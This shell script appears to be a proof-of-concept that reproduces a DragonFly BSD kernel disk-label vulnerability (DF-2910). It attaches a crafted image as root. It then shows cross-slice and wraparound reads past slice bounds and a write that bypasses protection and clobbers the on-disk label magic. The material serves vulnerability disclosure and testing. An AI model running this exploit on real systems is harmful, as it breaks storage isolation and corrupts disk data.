#!/bin/sh
# DF-2910 reproduction script - run as root inside the DragonFly guest.
# Prereq: /root/df2910.img uploaded, /root/{probe,wprobe,dump,pinfo} built.
set -e
echo "### uname: $(uname -a)"
echo "### detach stale vn"
vnconfig -u vn0 2>/dev/null || true
echo "### attach crafted image"
vnconfig -c vn0 /root/df2910.img
sleep 1
echo "### devices created by kernel auto-probe: $(ls /dev/vn0s1* | tr '\n' ' ')"
echo
echo "### kernel in-core label (DIOCGDINFO64 on /dev/vn0s1):"
/root/dump
echo
echo "### partition info (DIOCGPART):"
for d in /dev/vn0s1 /dev/vn0s1a /dev/vn0s1b /dev/vn0s1c; do /root/pinfo $d; done
echo
echo "### 1. CROSS-SLICE READ: /dev/vn0s1a (slice s1 partition) reads slice s2 data (abs LBA 6144)"
dd if=/dev/vn0s1a bs=512 count=1 2>/dev/null | strings | head -1
echo "### 2. WRAPAROUND READ: /dev/vn0s1b reads abs LBA 128 (BEFORE slice start, 2^64 wrap in dscheck)"
dd if=/dev/vn0s1b bs=512 count=1 2>/dev/null | strings | head -1
echo "### 3. UNIVERSAL WINDOW: /dev/vn0s1c sec 0 -> abs LBA 2047 (pre-slice)"
dd if=/dev/vn0s1c bs=512 count=1 2>/dev/null | hexdump -C | head -1
echo "### 4. CONTROL write to reserved label area via whole-slice dev (expect EROFS)"
/root/wprobe /dev/vn0s1 1 || true
echo "### 5. BYPASS write to label magic sector via partition dev vn0s1c sec 2 (-> abs LBA 2049)"
/root/wprobe /dev/vn0s1c 2
echo "### 6. verify on-disk label magic clobbered (raw read abs LBA 2049 via /dev/vn0)"
dd if=/dev/vn0 bs=512 skip=2049 count=1 2>/dev/null | strings | head -1
echo "### guest alive: $(uptime)"